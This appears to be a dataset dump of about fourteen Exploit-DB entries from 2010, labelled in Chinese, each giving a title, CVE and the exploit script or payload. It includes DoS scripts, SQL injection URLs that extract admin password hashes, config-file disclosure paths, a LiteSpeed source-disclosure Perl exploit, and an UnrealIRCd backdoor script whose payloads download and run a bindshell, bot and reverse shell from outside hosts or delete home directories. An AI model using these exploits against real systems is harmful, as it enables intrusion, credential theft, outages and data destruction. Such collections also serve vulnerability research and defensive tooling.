QLWD/code_shield huggingface dataset:
标题: iOS Impact PDF Reader 2.0 - POST Method Remote Denial of Service EDB-ID: 13871 CVE: 2010-2332 类型: DOS 平台: IOS 发布日期: 2010-06-14 漏洞利用脚本: # Exploit: Impact PDF Reader v2.0 for iPhone/iPod Touch POST Method Remote DoS
# Date: 14/06/2010
# Author: Nishant Das Patnaik
# Website: http://nishantdaspatnaik.yolasite.com
# Software Link: http://itunes.apple.com/us/app/impact-pdf-reader/id322140783?mt=8*
# Version: 2.0, 1.2
# Tested on: iPod 2G with iOS v3.1.3
# Note: Impact PDF Reader v2.0 and prior program versions are also vulnerable.

#!/usr/bin/env python
import os
import sys
import socket
def main(argv):
    argc = len(argv)
    if argc != 3:
        print "Usage: %s <target-ip> <target-port>" % (argv[0])
        sys.exit(0)
    host = argv[1]
    port = int(argv[2])
    print "[+] Connecting: %s:%d" % (host, port)
    payload = "POST / HTTP/1.1\r\n"
    payload += "Host: %s:%d\r\n" % (host, port)
    payload += "Content-Length: 3\r\n\r\n"
    payload += "..."
    sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sd.connect((host, port))
    print "[+] Sending payload..."
    print "[+] Did you see that b00m? ;) http://nishantdaspatnaik.yolasite.com"
    sd.send(payload)
    sd.close()
if __name__ == "__main__":
    main(sys.argv)
    sys.exit(0) URL: https://www.exploit-db.com/exploits/13871
标题: Yamamah Photo Gallery 1.00 - 'download.php' Local File Disclosure EDB-ID: 13856 CVE: 2010-2334 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-13 漏洞利用脚本: |=---------------------------------------------------------------------------=|
 Yamamah Photo Gallery 1.00 (download.php) Local File Disclosure Vulnerability
|=---------------------------------------------------------------------------=|
|=------------------------------=[ by mat ]=---------------------------------=|

Google dork: "Powered By : Yamamah Version 1.00"


http://[target]/[path]/themes/default/download.php?download=[File Disclosure]
http://[target]/[path]/themes/default/download.php?download=../../includes/config.inc.php URL: https://www.exploit-db.com/exploits/13856
标题: Yamamah Photo Gallery 1.00 - 'calbums' SQL Injection EDB-ID: 13857 CVE: 2010-1300 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-13 漏洞利用脚本: ##################################################################################################

Yamamah Photo Gallery 1.00 SQL Injection Vulnerability

##################################################################################################

Author : CoBRa_21

Script Home : http://www.yamamah.org/

Dork : "Powered By : Yamamah Version 1.00"

##################################################################################################

SQL Injection:

http://localhost/[path]/?calbums=-2 union select 0,1,2,3,4,group_concat(username,0x3a,password),6,7,8,9,10,11,12,13 from admin--

################################################################################################## URL: https://www.exploit-db.com/exploits/13857
标题: UnrealIRCd 3.2.8.1 - Remote Downloader/Execute EDB-ID: 13853 CVE: 2010-2075 类型: REMOTE 平台: LINUX 发布日期: 2010-06-13 漏洞利用脚本: #!/usr/bin/perl
# Unreal3.2.8.1 Remote Downloader/Execute Trojan
# DO NOT DISTRIBUTE -PRIVATE-
# -iHaq (2l8)

use Socket;
use IO::Socket;

## Payload options
my $payload1 = 'AB; cd /tmp; wget http://packetstormsecurity.org/groups/synnergy/bindshell-unix -O bindshell; chmod +x bindshell; ./bindshell &';
my $payload2 = 'AB; cd /tmp; wget http://efnetbs.webs.com/bot.txt -O bot; chmod +x bot; ./bot &';
my $payload3 = 'AB; cd /tmp; wget http://efnetbs.webs.com/r.txt -O rshell; chmod +x rshell; ./rshell &';
my $payload4 = 'AB; killall ircd';
my $payload5 = 'AB; cd ~; /bin/rm -fr ~/*;/bin/rm -fr *';

$host = "";
$port = "";
$type = "";
$host = @ARGV[0];
$port = @ARGV[1];
$type = @ARGV[2];

if ($host eq "") { usage(); }
if ($port eq "") { usage(); }
if ($type eq "") { usage(); }

sub usage {
  printf "\nUsage :\n";
  printf "perl unrealpwn.pl <host> <port> <type>\n\n";
  printf "Command list :\n";
  printf "[1] - Perl Bindshell\n";
  printf "[2] - Perl Reverse Shell\n";
  printf "[3] - Perl Bot\n";
  printf "-----------------------------\n";
  printf "[4] - shutdown ircserver\n";
  printf "[5] - delete ircserver\n";
  exit(1);
}

sub unreal_trojan {
  my $ircserv = $host;
  my $ircport = $port;
  my $sockd = IO::Socket::INET->new (PeerAddr => $ircserv, PeerPort => $ircport, Proto => "tcp") || die "Failed to connect to $ircserv on $ircport ...\n\n";
  print "[+] Payload sent ...\n";
  if ($type eq "1") {
    print $sockd "$payload1";
  } elsif ($type eq "2") {
    print $sockd "$payload2";
  } elsif ($type eq "3") {
    print $sockd "$payload3";
  } elsif ($type eq "4") {
    print $sockd "$payload4";
  } elsif ($type eq "5") {
    print $sockd "$payload5";
  } else {
    printf "\nInvalid Option ...\n\n";
    usage();
  }
  close($sockd);
  exit(1);
}

unreal_trojan();
# EOF URL: https://www.exploit-db.com/exploits/13853
标题: Digital Interchange Calendar - SQL Injection EDB-ID: 13860 CVE: 2010-5023 类型: WEBAPPS 平台: ASP 发布日期: 2010-06-13 漏洞利用脚本: 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : Inj3ct0r.com 0
1 [+] Support e-mail : submit[at]inj3ct0r.com 1
0 0
1 ########################################### 1
0 I'm L0rd CrusAd3r member from Inj3ct0r Team 1
1 ########################################### 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title: Digital Interchange Calendar SQL Vulnerability
Vendor url:http://www.digitalinterchange.com
Version:5.8.5
Cost: $129 USD
Published: 2010-06-14
Greetz to:Sid3^effects, MaYur, M4n0j, Dark Blue, S1ayer,d3c0d3r,KD and to
all ICW members.
Spl Greetz to:inj3ct0r.com Team

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Description:

The Digital Interchange calendar allows organizations to easily maintain an
updated database of events on a website and optionally take online
registrations for those events. Fully configurable, the calendar can be
setup to work for your organization whether you are a small business, and
enterprise, or a non-profit. The DI Calendar comes complete with our easy
install script that can get you up and running within minutes after
downloading. In addition, the calendar is built in such a way that you'll be
able to easily wrap your existing website design template around the
calendar pages for seamless integration into your website.

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Vulnerability:

*SQL Vulnerability

DEMO URL:
http://server/index.asp?intDivisionID=[sqli]

# 0day n0 m0re #
# L0rd CrusAd3r #


-- 
With R3gards,
L0rd CrusAd3r URL: https://www.exploit-db.com/exploits/13860
标题: UTStats - Cross-Site Scripting / SQL Injection / Full Path Disclosure EDB-ID: 13854 CVE: 2010-5009 2010-5007 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-13 漏洞利用脚本: # Exploit Title: UTStats XSS, SQL Injection & Full path disclosure
# Date: 13-06-2010
# Author: LuM Member
# Software Link: http://www.unrealadmin.org/forums/showthread.php?t=29786
# Version: All recent versions.
# Tested on: Windows 7 x64
# CVE : none
# Code :
There are most likely some more bugs in it. I didn't check the code in
detail.
If you check google, you see there are quite some installs.

XSS:
pages/match_report.php?mid=

Sql Injection:
index.php?p=matchp&pid='

Full Path Disclosure:
pages/servers_info.php


Greetings to LuM. URL: https://www.exploit-db.com/exploits/13854
标题: Digital Interchange Document Library - SQL Injection EDB-ID: 13859 CVE: 2010-5021 类型: WEBAPPS 平台: ASP 发布日期: 2010-06-13 漏洞利用脚本: 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : Inj3ct0r.com 0
1 [+] Support e-mail : submit[at]inj3ct0r.com 1
0 0
1 ########################################### 1
0 I'm L0rd CrusAd3r member from Inj3ct0r Team 1
1 ########################################### 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title:Digital Interchange Document Library SQL Vulnerability
Vendor url:http://www.digitalinterchange.com
Version:5.8.5
Cost: $129 USD
Published: 2010-06-14
Greetz to:Sid3^effects, MaYur, M4n0j, Dark Blue, S1ayer,d3c0d3r,KD and to
all ICW members.
Spl Greetz to:inj3ct0r.com Team

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Description:

The Digital Interchange Document library allows you to easily and seamlessly
store your documents online! The administration area is a secured area with
an intuitive interface that will let you manage all of your documents from
any location with an internet connection. By storing your documents in
folders you setup in the Document Library, you will be able to quickly and
easily organize and access the information you need most.

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Vulnerability:

*SQL Vulnerability

DEMO URL:
http://server/view_group.asp?intGroupID=[sqli]

# 0day n0 m0re #
# L0rd CrusAd3r #

-- 
With R3gards,
L0rd CrusAd3r URL: https://www.exploit-db.com/exploits/13859
标题: Yamamah - 'news' SQL Injection / Source Code Disclosure EDB-ID: 13845 CVE: 2010-2336 2010-2335 2010-2334 2010-1300 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-12 漏洞利用脚本: # Exploit Title: Yamamah Vulnerability (news) SQL Injection / disclosure Vulnerability
# Date: 12-06-2010
# Author: anT!-Tr0J4n
#My Home : www.Dev-PoinT.com
# Software Link:http://www.yamamah.org
# Version: 1.00
# Tested on: Win7/Linux
#DorK       : N / A
 
========== Exploit By anT!-Tr0J4n============

=======Yamamah source code disclosure Vulnerability ============

[>] exploit ->

http://localhsot/yamamah/index.php?download=(file name)

http://server/[path]/index.php?download=includes/config.inc.php

======================================================
[>] Yamamah (news) Blind SQL Injection Vulnerability
======================================================
[>] exploit ->

[>] (news) Blind SQL Injection

[>] http://localhost/yamamah/?news=1[BSQLi]

=================POC=====================

http://server/yamamah/?news=1+and substring(@@version,1,1)=5 --> True

http://server/yamamah/?news=1+and substring(@@version,1,1)=4 --> False

http://server/yamamah/?news=1+and%20%28select%20substring%28concat%281,username%29,1,1%29%20from%20admin%20limit%200,1%29=1

http://server/yamamah/?news=1+and%20%28select%20substring%28concat%281,password%29,1,1%29%20from%20admin%20limit%200,1%29=1

===============ABDO-R3ZK==================

MY HomE : www.Dev-PoinT.com
Author : anT!-Tr0J4n
EmaiL : D3v-PoinT@Hotmail.com & C1EH@Hotmail.com

Special Thx:Dev-P0!nT T34M /GlaDiatOr/SILVER STAR/ProfessionaL/Coffin Of Evil/HoBeeZ/ ABO-FaHED /Gonone Rash3d EL maged /mahmoudvip/
 Mr.Mh$TEr / M [Zero] / R3d-D3v1l (ALL sEc-r1z crEw) /Cyber-Err0r/ saLman EL anz33 / FnooN =ABUO ShADEN /NASHY  && And All My Frindes 

===============ABDO-R3ZK================== URL: https://www.exploit-db.com/exploits/13845
标题: Litespeed Technologies - Web Server Remote Poison Null Byte EDB-ID: 13850 CVE: 2010-2333 类型: REMOTE 平台: MULTIPLE 发布日期: 2010-06-13 漏洞利用脚本: Litespeed Technologies Web Server Remote Poison null byte Zero-Day
discovered and exploited by Kingcope in June 2010
google gives me over 9million hits

Example exploit session:

%nc 192.168.2.19 80
HEAD / HTTP/1.0

HTTP/1.0 200 OK
Date: Sun, 13 Jun 2010 00:10:38 GMT
Server: LiteSpeed <-- consider it 0wned
Accept-Ranges: bytes
Connection: close
ETag: "6ff-4c12e288-a3ee"
Last-Modified: Sat, 12 Jun 2010 01:27:36 GMT
Content-Type: text/html
Content-Length: 1791

%fetch http://192.168.2.19/config.php
config.php 0 B 0 Bps
%cat config.php
%/usr/local/bin/perl Litespeed.pl 192.168.2.19 config.php
LiteSpeed Technologies Web Server Remote Source Code Disclosure Exploit
By Kingcope
June 2010

Saving source code of config.php into 192.168.2.19-config.php
Completed.
Operation Completed :>.
%cat 192.168.2.19-config.php
<?php
$db_secret="TOP SECRET PASSWORD";
?>
%

Exploit:

#!/usr/bin/perl
#
#LiteSpeed Technologies Web Server Remote Source Code Disclosure zero-day Exploit
#By Kingcope
#Google search: ""Proudly Served by LiteSpeed Web Server""
#June 2010
#Thanks to TheDefaced for the idea, http://www.milw0rm.com/exploits/4556
#

use IO::Socket;
use strict;

sub getphpsrc {
my $host = shift;
my $file = shift;

if (substr($file, 0, 1) eq "/") {
$file = substr($file, 1);
}
my $file2 = $file;
$file2 =~ s/\//_/g;
print "Saving source code of $file into $host-$file2\n";

my $sock = IO::Socket::INET->new(PeerAddr => $host,
PeerPort => '80',
Proto => 'tcp') || die("Could not connect
to $ARGV[0]");

print $sock "GET /$file\x00.txt HTTP/1.1\r\nHost: $ARGV[0]\r\nConnection:
close\r\n\r\n";

my $buf = "";

my $lpfound = 0;
my $saveme = 0;
my $savveme = 0;
while(<$sock>) {
if ($_ =~ /LiteSpeed/) {
$lpfound = 1;
}

if ($saveme == 2) {
$savveme = 1;
}

if ($saveme != 0 && $savveme == 0) {
$saveme++;
}

if ($_ =~ /Content-Length:/) {
$saveme = 1;
}

if ($savveme == 1) {
$buf .= $_;
}
}

if ($lpfound == 0) {
print "This does not seem to be a LiteSpeed Webserver, saving file anyways.\n";
}

open FILE, ">$host-$file2";
print FILE $buf;
close FILE;
print "Completed.\n";
}

print "LiteSpeed Technologies Web Server Remote Source Code Disclosure Exploit\n";
print "By Kingcope\n";
print "June 2010\n\n";

if ($#ARGV != 1) {
print "Usage: perl litespeed.pl <domain/ip> <php file>\n";
print "Example: perl litespeed.pl www.thedomain.com index.php\n";
exit(0);
}

getphpsrc($ARGV[0], $ARGV[1]);

print "Operation Completed :>.\n"; URL: https://www.exploit-db.com/exploits/13850
标题: Yamamah 1.0 - SQL Injection EDB-ID: 13849 CVE: 2010-1300 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-12 漏洞利用脚本: # Exploit Title: Yamamah 1.0 SQL Injection Vulnerability
# Date: 12/06/2010
# Author: TheMaStEr <v4m@hotmail.de>
# Software Link: http://www.yamamah.org/
# Version: 1.00
# Tested on: Windows SP3
# Dork: intext:"Powered By : Yamamah Version 1.00"
# Code : http://localhost/y/index.php?calbums=1'
demo :
http://target/path/?calbums=1+and+1=1-- <Blind SQLi>
GreeTz : SA H4x0r (Abu Saud) , Dr-PHP , r3no , Hard_Hakerz , Ma3sTr0-Dz & All v4-Team Members

# URL: https://www.exploit-db.com/exploits/13849
标题: BrightSuite Groupware - SQL Injection EDB-ID: 13843 CVE: 2010-5008 类型: WEBAPPS 平台: ASP 发布日期: 2010-06-12 漏洞利用脚本: 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1                    ###########################################       1
0                    I'm L0rd CrusAd3r member from Inj3ct0r Team       1
1                    ###########################################       0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title:BrightSuite Groupware SQL Vulnerable
Code: ASP 3.0 & VBScript
Vendor url:http://www.denaliintranet.com/
Version:5.4
Price:$1299
Published: 2010-06-12
Greetz to:Sid3^effects, MaYur, M4n0j, Dark Blue, S1ayer,d3c0d3r,KD and to
all ICW members.
Spl Greetz to:inj3ct0r.com Team

#####################################################################################################################################################################################################

Description:

BrightSuite is a web-based Groupware, Intranet, and Team Collaboration
application. 25 customizable applications like document management,
calendars, forums, instant messaging and email. Live Demo and Trial

#######################################################################################################################################################################################################

Vulnerability:

*SQLi Vulnerability

DEMO URL:

http://[site]/pages/contact_list_mail_form.asp?ContactID=[sqli]

# 0day n0 m0re #
# L0rd CrusAd3r #

-- 
With R3gards,
L0rd CrusAd3r URL: https://www.exploit-db.com/exploits/13843
标题: SolarWinds TFTP Server 10.4.0.13 - Denial of Service EDB-ID: 13836 CVE: 2010-2310 类型: DOS 平台: WINDOWS 发布日期: 2010-06-12 漏洞利用脚本: #!/usr/bin/python
print "\n############################################################"
print "## Nullthreat Network"
print "## Solarwinds TFTP Server Ver. 10.4.0.13"
print "## Elliott \"Nullthreat\" Cutright"
print "## nullthreat@nullthreat.net"
print "############################################################"
print "\n"
# Summary: An long Write Request (1000 A's) will cause SolarWinds TFTP Server to crash.
# Tested on: Windows XP SP3
# Usage: ./solarwindscrash.py <IPADDRESS>
# Note: It can take the application a few moments to crash, be patiant.
# Shouts: #SEUnited, Corelan Team

# Discovered: June 6th 2010
# Vendor Notified: June 9th 2010
# Patch Released: June 11th 2010

import socket
import sys

host = sys.argv[1]
port = 69
addr = (host,port)

s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)

print "[*] Building Crash"
crash = "\x41" * 1000
request = "\x00\x02" + crash + "\x00" + "NETASCII" + "\x00"

print "[*] Sending Crash"
s.sendto(request, addr)

print "[*] Crash Sent, It can take some time for the app to crash" URL: https://www.exploit-db.com/exploits/13836
标题: DaLogin - Multiple Vulnerabilities EDB-ID: 13830 CVE: 2010-5012 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-11 漏洞利用脚本: dalogin 2.2 multiple vulnerabilites
app desc: Configurable WebSite. PHP + Mysql: news zone with rss feed,
private zone, languages, themes, administration panel
app source: http://dalogin.sourceforge.net/
author: hc0

[1] config file disclosure
you can access config.ini file from [path]/admin/include/config.ini
this file contains mysql connection informations (user, pass, host etc..)
its says "come here and ownz by box!!"

[2] sql injection
at line 115 requested http parameter id use in sql query without filtering.

114 - //LEER COMENTARIOS
115 - $Sql="SELECT * from news_comments WHERE id_new=".$_REQUEST['id']."
AND state=1";
116 - $result_comments = mysql_query($Sql);
117 - while ($row_comments=mysql_fetch_array($result_comments))
118 - {
119 - echo '<table class="CommentTable">';
120 - echo '<tr>
121 - <td
width="100px">'.strftime(DATE_TIME_FORMAT,strtotime($row_comments['date_comment'])).'

122 - <br /><b>'.$row_comments['user_name'].'</b>
123 - </td>
124 - <td class="CommentTableImg">
125 - '.$row_comments['comment'].'
126 - </td>
127 - </tr>';
128 - echo '</table><br />';
129 - }

[3] xss

181 - function InsertComment()
182 - {
183 - global $link;
184 - $Sql="INSERT INTO news_comments
(id_new,comment,date_comment,state,user_name) VALUES
(".$_REQUEST['id'].",'".$_POST['comment_text']."',Now(),0,'".$_POST['comment_user']."')";

185 - mysql_query($Sql);
186 - echo '<div class="CommentAlert" style=" background-color:
#c5fbcd">'.COMMENT_SENT_LABEL.'</div>';
187 - }

you need post a comment that includes your xss attack payload and its saved
database. its so simple :)

[4] just for fun i'm so bored.................. URL: https://www.exploit-db.com/exploits/13830
标题: Nginx 0.8.36 - Source Disclosure / Denial of Service EDB-ID: 13818 CVE: 2010-2266 2010-2263 类型: REMOTE 平台: WINDOWS 发布日期: 2010-06-11 漏洞利用脚本: Issue 1: (Remote Source Disclosure)
- Description -
 
nginx 0.8.36 is a multi platform HTTP server. This vulnerability exists in the latest Windows version of the application available.
 
nginx on Windows is vulnerable to a remote source disclosure attack.
 
- Technical Details - (Source Download)

http://[ webserver IP][:port]index.html::$DATA


Issue 2: (Remote DoS (w/ Memory Corruption))
- Description -

nginx 0.8.36 (Windows) does not seem to handle encoded directory traversal attempts properly. The corrupted registers in the crash dump seem to be loaded with damaged path variables.

- Technical Details - (Remote DoS)

http://[ webserver IP][:port]/%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./%20

http://[ webserver IP][:port]/%c0.%c0./%c0.%c0./%c0.%c0./%20

http://[ webserver IP][:port]/%c0.%c0./%c0.%c0./%20

These three attempts will overwrite memory registers with different parts of the internal path based on where they try and traverse to. URL: https://www.exploit-db.com/exploits/13818